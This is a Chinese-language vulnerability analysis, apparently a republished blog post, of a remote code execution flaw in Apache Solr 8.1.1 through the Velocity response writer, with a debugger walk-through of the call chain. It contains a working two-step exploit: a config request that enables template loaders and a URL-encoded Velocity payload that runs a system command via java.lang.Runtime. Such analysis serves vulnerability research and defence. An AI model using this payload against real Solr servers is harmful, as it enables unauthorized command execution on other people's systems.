怎样进行Apache Solr最新RCE漏洞分析

引言

Apache Solr爆出RCE 0day漏洞(漏洞编号未给出),这里简单的复现了对象,对整个RCE的流程做了一下分析,供各位看官参考。

漏洞复现

复现版本:8.1.1

实现RCE,需要分两步,首先确认,应用开启了某个core(可以在Core Admin中查看),实例中应用开启了mycore,

怎样进行Apache Solr最新RCE漏洞分析

然后先向其config接口发送以下json数据,

{  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",    "params.resource.loader.enabled": "true"  }}

怎样进行Apache Solr最新RCE漏洞分析

接着访问如下url,即可实现RCE,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

原理

首先去分析名列前茅个数据包,因为是对mycore的配置,所以我们先把断点打在处理配置请求的SolrConfigHandler的handleRequestBody函数上,

怎样进行Apache Solr最新RCE漏洞分析

因为是POST的请求,跟进handlePOST函数,

怎样进行Apache Solr最新RCE漏洞分析

在handlePOST中,先取出mycore的当前配置,再和我们发送的配置同时带进handleCommands函数,并在后续的操作中,最终进到addNamedPlugin函数,创建了一个VelocityResponseWriter对象,该对象的 solr.resource.loader.enabled和params.resource.loader.enabled的值设置成了true,该对象的name为velocity。

怎样进行Apache Solr最新RCE漏洞分析

然后在发送第二个数据包的时候,在HttpSolrCall.call中获取responseWriter的时候,会根据参数wt的值去获取reponseWriter对象,当wt为velocity时,获取的就是我们精心配置过的VelocityResponseWriter

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

在后续一连串调用后最终进入我们本次漏洞中最重的的VelocityResponseWriter.write函数,首先调用createEngine函数,生成了包含custom.vrm->payload的恶意template的engine,

怎样进行Apache Solr最新RCE漏洞分析

恶意的template放在engine的overridingProperties的params.resource.loader.instance和solr.resource.loader.instance中

怎样进行Apache Solr最新RCE漏洞分析

这里有一个很重要的点,要想让恶意template进入params.resource.loader.instance和solr.resource.loader.instance中,是需要保证paramsResourceLoaderEnabled和solrResourceLoaderEnabled为True的,这也就是我们名列前茅个数据包做的事情,

怎样进行Apache Solr最新RCE漏洞分析

然后再VelocityResponseWriter.getTemplate就会根据我们提交的v.template参数获取我们构造的恶意template

怎样进行Apache Solr最新RCE漏洞分析

最终取出了恶意的template,并调用了它的merge方法,

怎样进行Apache Solr最新RCE漏洞分析

要了解这个template就需要了解一下Velocity Java 模板引擎(因为这个tmplate是org.apache.velocity.Template类对象),官方说法翻译一下如下,

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象

从这个说法,就能看出这个模板引擎是具有执行java代码的功能的,我们只需了解一下它的基本写法,

// 变量定义#set($name =“velocity”)// 变量赋值#set($foo = $bar)// 函数调用#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) // 循环语法#foreach($element in $list) This is $element $velocityCount#end// 执行模板template.merge(context, writer);

有了上面这些基本的语法介绍,我们就能理解payload的构造方法了,如果希望更深入的了解,可以自行再去查阅Velocity Java 的资料,我们这里不再深入。

于是通过最后调用的恶意template的merge方法,成功造成了RCE,最后补上关键的调用链。

怎样进行Apache Solr最新RCE漏洞分析

修复方案

目前官方还未给出补丁,建议对solr做一下访问限制吧。

关于怎样进行Apache Solr最新RCE漏洞分析就分享到这里啦,希望上述内容能够让大家有所提升。如果想要学习更多知识,请大家多多留意小编的更新。谢谢大家关注一下亿速云网站!

文章标题:怎样进行Apache Solr最新RCE漏洞分析,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/25256

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年9月15日 上午1:52
下一篇 2022年9月15日 上午1:53

相关推荐

  • Node.js源码中cjs模块的加载过程是什么

    相信大家都知道如何在 Node 中加载一个模块: const fs = require(‘fs’);const express = require(‘express’);const anotherModule = require(‘./another-module’); 没错,require 就是加…

    2022年9月8日
    21300
  • windows会声会影如何导出视频x9

    会声会影导出视频x9的方法 1、首先点击图示位置的“共享”按钮。 2、然后在图示框中选择想要导出的视频格式。 3、在图示位置可以调整具体参数。 4、最后点击“开始”就可以了。 以上就是“windows会声会影如何导出视频x9”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获,…

    2022年9月15日
    11500
  • jquery怎么删除option

    具体步骤如下: 1.首先,新建一个html项目,并在项目中引入jquery; <script type=”text/javascript” src=”/static/jquery-2.1.4.min.js”></script> 2.引入jquery后,在项目中创建一个opti…

    2022年8月29日
    27600
  • 禁止SpringBoot在项目中使用Tomcat容器的原理是什么

    SpringBoot中的Tomcat容器 SpringBoot可以说是目前热门的Java Web框架了。它将开发者从繁重的xml解救了出来,让开发者在几分钟内就可以创建一个完整的Web服务,极大的提高了开发者的工作效率。Web容器技术是Web项目必不可少的组成部分,因为任Web项目都要借助容器技术来…

    2022年9月19日
    17700
  • Redis有序集合zset知识点有哪些

    redis有序集合zset与普通集合set非常相似,是一个没有重复元素的字符串集合。 不同之处是有序集合的每个成员都关联了一个评分(score),这个评分(score)被用来按照从最低分 到较高分的方式排序集合中的成员。 集合的成员是少数的,但是评分是可以重复的。 因为元素是有序的,所以你可以很快的…

    2022年9月21日
    17400
  • jquery如何实现div渐隐效果

    三种实现方法:1、用fadeOut()逐渐改变被选元素的不透明度,从可见到隐藏,语法“元素对象.fadeIn(渐隐时长)”;2、用fadeTo()逐渐改变被选元素的不透明度,语法“元素对象.fadeTo(渐隐时长,0)”;3、用fadeToggle()逐渐改变被选元素的不透明度,语法“元素对象.fa…

    2022年9月16日
    26400
  • windows todesk如何传输文件

    todesk传输文件的方法 1、 打开ToDesk,进入“设备列表”,选中想要传输的对象 2、选中后,点击右侧的“文件传输”,就能将需要的文件传给对方了 3、或者还有一种方法,就是点击工具栏箭头按钮 4、选择“文件” 5、最后在其中选中文件夹就可以进行文件的传输了。 感谢各位的阅读,以上就是“win…

    2022年9月26日
    98700
  • word字体放大后上半部分缺失怎么解决

    解决方法 1、首先我们把缺失的文字框选出来。 2、鼠标右键点击之后选择段落。 3、然后选择行距,这里点击单倍行距。然后点击确定。 4、这样就能看见字体恢复了正常。 读到这里,这篇“word字体放大后上半部分缺失怎么解决”文章已经介绍完毕,想要掌握这篇文章的知识点还需要大家自己动手实践使用过才能领会,…

    2022年9月11日
    23700
  • edxposed框架+trustmealredy模块如何实现抓包小程序

    一、下载edxposed框架,由于安卓5.0版本以下的不支持老版本的框架,所以到如下链接下载 https://forum.xda-developers.com/showthread.php?t=3034811 直接点击下载 二、下载trustmealredy https://repo.xposed….

    2022年9月8日
    64400
  • 如何利用深度链接方式后门化Facebook APP

    近期,作者发现了Facebook安卓APP应用的一个深度链接漏洞,利用该漏洞,可以把用户手机上安装的Facebook安卓APP应用转变成后门程序(Backdoor),实现后门化。另外,利用该漏洞还可以重打包Facebook APP,并将其发送给特定目标受害者安装使用。下面就来看看作者对该漏洞的发现过…

    2022年9月10日
    29700
联系我们
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部